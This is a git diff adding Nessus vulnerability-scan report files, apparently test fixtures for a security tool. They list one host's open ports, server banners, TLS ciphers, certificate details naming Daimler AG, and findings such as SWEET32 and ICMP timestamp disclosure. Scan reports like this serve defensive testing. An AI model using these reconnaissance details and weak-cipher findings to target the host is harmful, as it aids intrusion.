------------------------------ + + + +Hostnames different from the current hostname have been collected by miscellaneous plugins. Nessus has generated a list of hostnames that point to the remote host. Note that these are only the alternate hostnames for vhosts discovered on a web server. + +Different web servers may be hosted on name-based virtual hosts. +alternate_hostnames.nasl +2017/04/27 +Additional DNS Hostnames +2010/04/29 +remote +None +1.12 +https://en.wikipedia.org/wiki/Virtual_hosting +If you want to test them, re-scan using the special vhost syntax, such as : + +www.example.com[192.0.32.10] +Nessus has detected potential virtual hosts. +The following hostnames point to the remote host : + - www.subdomain.example.mobi + - subdomain.example.de + - www.subdomain.example.de + - example.org + - subdomain.example.mobi + + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Coyote HTTP/1.1 Connector + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Apache +and the 'ServerTokens' directive is ProductOnly +Apache does not offer a way to hide the server type. + + + +This plugin attempts to determine the type and the version of the remote web server. +http_version.nasl +2016/02/19 +HTTP Server Type and Version +2000/01/04 +remote +None +$Revision: 1.123 $ +n/a +A web server is running on the remote host. +The remote web server type is : + +Apache +and the 'ServerTokens' directive is ProductOnly +Apache does not offer a way to hide the server type. + + + +The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised. +ssl_pfs_supported_ciphers.nasl +2017/06/12 +SSL Perfect Forward Secrecy Cipher Suites Supported +2011/12/07 +remote +None +$Revision: 1.8 $ +http://www.openssl.org/docs/apps/ciphers.html +https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange +https://en.wikipedia.org/wiki/Perfect_forward_secrecy +n/a +The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen. + +Here is the list of SSL PFS ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + DHE-RSA-AES256-SHA384 Kx=DH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly. +ssl_cbc_supported_ciphers.nasl +2013/10/22 +SSL Cipher Block Chaining Cipher Suites Supported +2013/10/22 +remote +None +$Revision: 1.1 $ +http://www.openssl.org/docs/apps/ciphers.html +http://www.nessus.org/u?cc4a822a +http://www.openssl.org/~bodo/tls-cbc.txt +n/a +The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones. + +Here is the list of SSL CBC ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA256 + RSA-AES256-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA256 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N +5.0 +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite. + +Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network. +ssl_medium_supported_ciphers.nasl +2017/09/01 +SSL Medium Strength Cipher Suites Supported +2009/11/23 +remote +Medium +$Revision: 1.19 $ +https://www.openssl.org/blog/blog/2016/08/24/sweet32/ +Reconfigure the affected application if possible to avoid use of medium strength ciphers. +The remote service supports the use of medium strength SSL ciphers. + +Here is the list of medium strength SSL ciphers supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +92630 +92631 +CVE-2016-2183 +CVE-2016-6329 +CVSS:3.0/E:F/RL:X/RC:X +CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N +5.0 +4.8 +CVSS2#E:F/RL:ND/RC:ND +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +The remote host supports the use of a block cipher with 64-bit blocks in one or more cipher suites. It is, therefore, affected by a vulnerability, known as SWEET32, due to the use of weak 64-bit block ciphers. A man-in-the-middle attacker who has sufficient resources can exploit this vulnerability, via a 'birthday' attack, to detect a collision that leaks the XOR between the fixed secret and a known plaintext, allowing the disclosure of the secret text, such as secure HTTPS cookies, and possibly resulting in the hijacking of an authenticated session. + +Proof-of-concepts have shown that attackers can recover authentication cookies from an HTTPS session in as little as 30 hours. + +Note that the ability to send a large number of requests over the same TLS connection between the client and server is an important requirement for carrying out this attack. If the number of requests allowed for a single connection were limited, this would mitigate the vulnerability. However, Nessus has not checked for such a mitigation. +true +Exploits are available +ssl_64bitblock_supported_ciphers.nasl +true +143387 +143388 +2017/01/24 +SSL 64-bit Block Size Cipher Suites Supported (SWEET32) +2016/11/01 +remote +Medium +$Revision: 1.6 $ +https://sweet32.info +https://www.openssl.org/blog/blog/2016/08/24/sweet32/ +Reconfigure the affected application, if possible, to avoid use of all 64-bit block ciphers. Alternatively, place limitations on the number of requests that are allowed to be processed over the same TLS connection to mitigate this vulnerability. +The remote service supports the use of 64-bit block ciphers. +2016/08/24 +OSVDB:143387 +OSVDB:143388 + +List of 64-bit block cipher suites supported by the remote server : + + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.1 and 1.2 are designed against these flaws and should be used whenever possible. + +PCI DSS v3.1 requires that TLS 1.0 be disabled entirely by June 2018, except for point-of-sale terminals and their termination points. +tls10_detection.nasl +2017/11/22 +TLS Version 1.0 Protocol Detection +2017/11/22 +remote +None +$Revision: 1.1 $ +Enable support for TLS 1.1 and 1.2, and disable support for TLS 1.0. +The remote service encrypts traffic using an older version of TLS. +TLSv1 is enabled and the server supports at least one cipher. + + +This plugin detects which SSL ciphers are supported by the remote service for encrypting communications. +ssl_supported_ciphers.nasl +2017/11/13 +SSL Cipher Suites Supported +2006/06/05 +remote +None +1.53 +https://www.openssl.org/docs/man1.1.0/apps/ciphers.html +http://www.nessus.org/u?3a040ada +n/a +The remote service encrypts communications using SSL. + +Here is the list of SSL ciphers supported by the remote server : +Each group is reported per SSL Version. + +SSL Version : TLSv12 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + DHE-RSA-AES256-SHA384 Kx=DH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-GCM(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-GCM(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-GCM(128) Mac=SHA256 + RSA-AES256-SHA384 Kx=RSA Au=RSA Enc=AES-GCM(256) Mac=SHA384 + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + DHE-RSA-AES128-SHA256 Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + DHE-RSA-AES256-SHA256 Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA256 + ECDHE-RSA-AES128-SHA256 Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA256 + ECDHE-RSA-AES256-SHA384 Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA384 + RSA-AES128-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA256 + RSA-AES256-SHA256 Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA256 + + +SSL Version : TLSv11 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + + +SSL Version : TLSv1 + Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES) + + EDH-RSA-DES-CBC3-SHA Kx=DH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + ECDHE-RSA-DES-CBC3-SHA Kx=ECDH Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + DES-CBC3-SHA Kx=RSA Au=RSA Enc=3DES-CBC(168) Mac=SHA1 + + High Strength Ciphers (>= 112-bit key) + + DHE-RSA-AES128-SHA Kx=DH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + DHE-RSA-AES256-SHA Kx=DH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + ECDHE-RSA-AES128-SHA Kx=ECDH Au=RSA Enc=AES-CBC(128) Mac=SHA1 + ECDHE-RSA-AES256-SHA Kx=ECDH Au=RSA Enc=AES-CBC(256) Mac=SHA1 + AES128-SHA Kx=RSA Au=RSA Enc=AES-CBC(128) Mac=SHA1 + AES256-SHA Kx=RSA Au=RSA Enc=AES-CBC(256) Mac=SHA1 + +The fields above are : + + {OpenSSL ciphername} + Kx={key exchange} + Au={authentication} + Enc={symmetric encryption method} + Mac={message authentication code} + {export flag} + + + +The remote web server is configured such that it does not return '404 Not Found' error codes when a nonexistent file is requested, perhaps returning instead a site map, search page or authentication page. + +Nessus has enabled some counter measures for this. However, they might be insufficient. If a great number of security holes are produced for this port, they might not all be accurate. +no404.nasl +2015/10/13 +Web Server No 404 Error Code Check +2000/04/28 +remote +None +$Revision: 1.98 $ +n/a +The remote web server does not return 404 error codes. + + +CGI scanning will be disabled for this host because the host responds +to requests for non-existent URLs with HTTP code 301 +rather than 404. The requested URL was : + + http://www.example.org/bQePO3PlPkjC.html + + + +cpe:/a:ietf:md5 +cpe:/a:ietf:x.509_certificate +The remote service uses an SSL certificate chain that contains a self-signed root Certification Authority certificate at the top of the chain. +ssl_root_ca_certificate.nasl +2016/11/14 +SSL Root Certification Authority Certificate Information +2016/11/14 +remote +None +$Revision: 1.1 $ +https://technet.microsoft.com/en-us/library/cc778623 +Ensure that use of this root Certification Authority certificate complies with your organization's acceptable use and security policies. +A root Certification Authority certificate was found at the top of the certificate chain. + +The following root Certification Authority certificate was found : + +|-Subject : C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2008 VeriSign, Inc. - For authorized use only/CN=VeriSign Universal Root Certification Authority +|-Issuer : C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 2008 VeriSign, Inc. - For authorized use only/CN=VeriSign Universal Root Certification Authority +|-Valid From : Apr 02 00:00:00 2008 GMT +|-Valid To : Dec 01 23:59:59 2037 GMT +|-Signature Algorithm : SHA-256 With RSA Encryption + + + +This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate. +ssl_ciphers.nasl +2015/12/30 +SSL Certificate Information +2008/05/19 +remote +None +$Revision: 1.16 $ +n/a +This plugin displays the SSL certificate. +Subject Name: + +Country: DE +State/Province: Baden-Wuerttemberg +Locality: Stuttgart +Organization: Daimler AG +Organization Unit: IT/TSS +Common Name: *.subdomain.example.de + +Issuer Name: + +Country: US +Organization: Symantec Corporation +Organization Unit: Symantec Trust Network +Common Name: Symantec Class 3 Secure Server SHA256 SSL CA + +Serial Number: 1E 2D FE 91 1A 97 C4 AE 2D AB 8B 97 6E 7C 15 36 + +Version: 3 + +Signature Algorithm: SHA-256 With RSA Encryption + +Not Valid Before: Oct 30 00:00:00 2017 GMT +Not Valid After: Nov 24 23:59:59 2018 GMT + +Public Key Info: + +Algorithm: RSA Encryption +Key Length: 2048 bits +Public Key: 00 C6 A3 A1 0D 45 28 9D A1 F6 3C DC 49 5D DF 8C C0 33 12 9B + 6D DA 83 22 4B A1 9A E9 33 D2 99 88 9C 88 19 E5 80 09 AD 52 + B1 F4 48 A1 4D 35 3F 25 9B 8F E8 AE 7D 5B 97 96 D8 89 2B D4 + E2 D2 B3 7E B6 09 1D 46 0C 37 7C 87 42 E1 11 4F 7C 18 E5 EF + 8C 41 B2 FD BE C1 62 D3 BF 20 86 F1 08 D0 16 A2 DA 17 2E 3B + CA 56 3B AC CD A3 A9 20 A3 15 A5 43 97 CE B2 35 F3 8C 08 86 + 5C F4 99 16 A0 C6 E6 68 EF F8 91 34 D9 60 5D CD 44 5D C4 1E + 3E 47 15 2C 02 58 6A 5B D0 22 7F 6E 5E EC 76 67 12 44 AD E4 + E3 3C 69 57 FA 00 DD 76 8C 7F 98 3C AA 08 60 0A 7A 93 33 7B + 47 37 92 CC FB 6D B5 01 F3 27 00 04 7C E3 D5 3B B9 B3 5D 42 + C6 30 1F 73 CC 8C 20 6C 2A 91 9A C4 8C AB 0C F8 AD 2C 32 E6 + E1 44 70 9D 40 C5 AB E5 20 03 88 58 A6 E9 F9 95 8B 13 10 F7 + C7 7A 13 0C 3B 2F 28 63 9A 8D 67 B3 36 A2 9F 3C 7D +Exponent: 01 00 01 + +Signature Length: 256 bytes / 2048 bits +Signature: 00 80 4D 6F 6C 64 4B 2D AC 48 3F F0 C4 18 79 B3 C0 1D 97 64 + 95 C7 A1 8D BB 48 09 B8 F8 1A DD DA 16 18 21 9D C2 B2 FF 73 + 7E F4 C5 AF 82 99 C3 65 20 FD CA F4 6A 77 DB E0 05 2B 6D 8E + C9 EA 65 90 D4 CD AD D7 36 FC 74 2C DA 57 51 CC BE 5F FD 56 + 07 97 A6 A9 C9 43 F5 6C B5 4B 04 7C B5 77 D5 9C 2C E1 13 33 + 09 EF AA 57 55 2B 16 26 57 EA 4B 60 26 C8 80 08 4A A1 71 94 + 94 14 0D CF C7 D8 68 6E 30 8A DB A7 B4 47 BF 46 0F 4E A1 18 + 0B 63 80 BF EB 1D DB 31 C9 83 A1 6A 58 08 C8 43 E7 57 B5 3F + 3E 51 5E A3 62 36 D9 1C E3 F9 E3 E9 46 48 D9 CD CA 49 A4 C0 + D1 B4 CF C9 21 C1 CC E8 97 B7 18 AF 86 6F 72 22 D6 90 47 F5 + E6 51 87 69 21 8A 15 3E A7 3C E1 46 76 7B 95 14 96 DE 68 B4 + 15 53 A0 D7 35 D9 BD 27 AB 11 11 24 39 37 21 2B CC AA 86 B2 + 60 9E 98 9F EE D1 A4 CB 5C 9C 44 4E 0D 8C CD 20 19 + +Extension: Subject Alternative Name (2.5.29.17) +Critical: 0 +DNS: subdomain.example.de +DNS: www.subdomain.example.de +DNS: example.org +DNS: www.example.org +DNS: subdomain.example.mobi +DNS: www.subdomain.example.mobi +DNS: *.subdomain.example.de + + +Extension: Basic Constraints (2.5.29.19) +Critical: 0 + + +Extension: Key Usage (2.5.29.15) +Critical: 1 +Key Usage: Digital Signature, Key Encipherment + + +Extension: Extended Key Usage (2.5.29.37) +Critical: 0 +Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1) +Purpose#2: Web Client Authentication (1.3.6.1.5.5.7.3.2) + + +Extension: Policies (2.5.29.32) +Critical: 0 +Policy ID #1: 2.23.140.1.2.2 +Qualifier ID #1: Certification Practice Statement (1.3.6.1.5.5.7.2.1) +CPS URI: https://d.symcb.com/cps + + +Extension: Authority Key Identifier (2.5.29.35) +Critical: 0 +Key Identifier: DB 62 22 EB 7D 02 89 7C D2 3B 6F C7 E4 32 6C 05 52 1D AD B1 + + +Extension: CRL Distribution Points (2.5.29.31) +Critical: 0 +URI: http://sg.symcb.com/sg.crl + + +Extension: Authority Information Access (1.3.6.1.5.5.7.1.1) +Critical: 0 +Method#1: Online Certificate Status Protocol +URI: http://sg.symcd.com +Method#2: Certificate Authority Issuers +URI: http://sg.symcb.com/sg.crt + + +Extension: 1.3.6.1.4.1.11129.2.4.2 +Critical: 0 +Data: 04 81 F1 00 EF 00 75 00 DD EB 1D 2B 7A 0D 4F A6 20 8B 81 AD + 81 68 70 7E 2E 8E 9D 01 D5 5C 88 8D 3D 11 C4 CD B6 EC BE CC + 00 00 01 5F 6E 5E A3 78 00 00 04 03 00 46 30 44 02 20 7C 84 + AF 78 07 FE A1 95 9C 10 B1 E0 32 AD 44 37 4C 63 38 56 C6 5D + 0D 6C 54 86 F5 D9 37 2A D4 5E 02 20 30 CD B5 60 9A A6 D4 EE + C6 A4 0D B7 B0 B2 EC 91 6A C8 AA AA A6 77 38 23 D4 C2 79 95 + E1 73 EC 89 00 76 00 A4 B9 09 90 B4 18 58 14 87 BB 13 A2 CC + 67 70 0A 3C 35 98 04 F9 1B DF B8 E3 77 CD 0E C8 0D DC 10 00 + 00 01 5F 6E 5E A3 B2 00 00 04 03 10 47 30 45 02 20 47 45 91 + 7A 9B F3 67 BA 72 57 37 B6 BA 42 50 E7 CC 83 B9 84 D6 F8 70 + C9 2B BF C3 A8 DA 76 24 69 02 21 00 D4 CB 0A 0E 5B 8D 3C 66 + 31 66 A4 C5 D5 3A B2 C5 81 7E 90 56 56 CE DD B9 1F 3E 1E 70 + AF BD 4C E8 + + +Fingerprints : + +SHA-256 Fingerprint: B7 E6 37 99 A3 35 D0 5E 0F 95 C0 7F 61 F3 36 FA 48 65 FA 73 + C0 CF F8 78 A4 EE B3 C2 B6 E3 10 86 +SHA-1 Fingerprint: A5 CA 7D 66 33 7B 1F 6E 45 53 B1 CA 30 DA 73 07 BC 4C E5 98 +MD5 Fingerprint: D3 C0 93 81 ED C2 AD 51 0B C0 1E 57 DB 20 8D 9D + + + + +The remote host supports the TLS ALPN extension. This plugin enumerates the protocols the extension supports. +alpn_protocol_enumeration.nasl +2016/02/15 +TLS ALPN Supported Protocol Enumeration +2015/07/17 +remote +None +1.3 +https://tools.ietf.org/html/rfc7301 +n/a +The remote host supports the TLS ALPN extension. + +ALPN Supported Protocols: + + http/1.1 + + + +cpe:/a:openssl:openssl +Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic. + +Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366). +openssl_detect.nasl +2013/10/18 +OpenSSL Detection +2010/11/30 +remote +None +1.14 +http://www.openssl.org +n/a +The remote service appears to use OpenSSL to encrypt traffic. + + +This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications. +ssl_supported_versions.nasl +2017/11/06 +SSL / TLS Versions Supported +2011/12/01 +remote +None +1.21 +n/a +The remote service encrypts communications. + +This port supports TLSv1.0/TLSv1.1/TLSv1.2. + + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port through TLSv1. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A web server is running on this port. + + +Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request. +find_service.nasl +2017/07/07 +Service Detection +2007/08/19 +remote +None +$Revision: 1.159 $ +n/a +The remote service could be identified. +A TLSv1 server answered on this port. + + + +Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host. +fqdn.nasl +2017/04/14 +Host Fully Qualified Domain Name (FQDN) Resolution +2004/02/11 +remote +None +$Revision: 1.16 $ +n/a +It was possible to resolve the name of the remote host. + +123.123.123.123 resolves as www.example.org. + + + +CVE-1999-0524 +200 +The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols. + +Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time. +icmp_timestamp.nasl +94 +2012/06/18 +ICMP Timestamp Request Remote Date Disclosure +1999/08/01 +remote +None +$Revision: 1.45 $ +Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14). +It is possible to determine the exact time set on the remote host. +1995/01/01 +OSVDB:94 +CWE:200 +The remote clock is synchronized with the local clock. + + + +Makes a traceroute to the remote host. +traceroute.nasl +2017/08/22 +Traceroute Information +1999/11/27 +remote +None +1.63 +n/a +It was possible to obtain traceroute information. +For your information, here is the traceroute from 123.123.123.1 to 123.123.123.123 : +123.123.123.1 +123.123.123.2 +? +123.123.123.123 + +Hop Count: 3 + + + +The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed. +tcp_timestamps.nasl +2011/03/20 +TCP/IP Timestamps Supported +2007/05/16 +remote +None +1.19 +http://www.ietf.org/rfc/rfc1323.txt +n/a +The remote service implements TCP timestamps. + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 8080/tcp was found to be open + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 80/tcp was found to be open + + +This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target. + +Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded. +nessus_syn_scanner.nbin +2017/05/22 +Nessus SYN scanner +2009/02/04 +remote +None +$Revision: 1.24 $ +Protect your target with an IP filter. +It is possible to determine which TCP ports are open. +Port 443/tcp was found to be open + + + + diff --git a/sechub-other/testoutput/nessus_example_report__reduced.xml b/sechub-other/testoutput/nessus_example_report__reduced.xml new file mode 100644 index 0000000000..51bbbf4111 --- /dev/null +++ b/sechub-other/testoutput/nessus_example_report__reduced.xml @@ -0,0 +1,5139 @@ + + +MYCONFIG +service_detection.search_for_ssl +yes + +plugin_set +99304;80304;20067;101840;20870;58411;74090;77682;63001;73673;36153;32133;85689;66586;20066;64490;58989;51169;11828;200048;56689;79865;76254;102496;11789;42354;79216;52013;88842;10296;20131;87941;93121;82769;19237;19694;94139;94327;24755;11536;11227;79803;72543;73184;11745;64581;87506;96800;81053;10085;66812;11617;25005;88098;77530;64993;95771;76163;10602;66428;50071;32122;85406;76147;87921;72279;42116;47594;68881;11975;52980;11864;49120;73573;43030;90443;100635;11542;95916;95764;59569;74326;69303;49964;56062;10495;64831;10918;65575;64786;77089;10322;63097;31131;10756;34157;11184;76573;100870;92786;99286;10269;84219;72107;86070;73484;100259;56652;97946;83265;89665;85321;17776;83467;21571;91992;64834;12098;55701;72772;73347;23637;18123;72774;13855;72064;19945;20960;13751;72665;23938;99969;11635;27534;35435;76868;66848;49009;11335;14591;62908;25768;81374;11729;71155;85876;31799;83356;77905;33218;19193;14344;47163;81700;12264;47583;62803;77632;91232;44047;72557;16086;70294;19771;22194;23646;45403;51175;73417;10896;87820;72935;82039;89109;35362;42800;83348;18566;69131;18302;12249;102996;58171;90923;64931;39621;10963;42963;64363;82033;10371;10849;77088;103680;93244;18527;77411;16462;16245;15604;10802;55119;104354;38876;69790;43154;33438;64690;55670;61572;48907;54301;58724;69982;51564;87677;72670;71927;63186;84149;93027;58572;49018;25547;73614;18122;10413;58004;65769;85007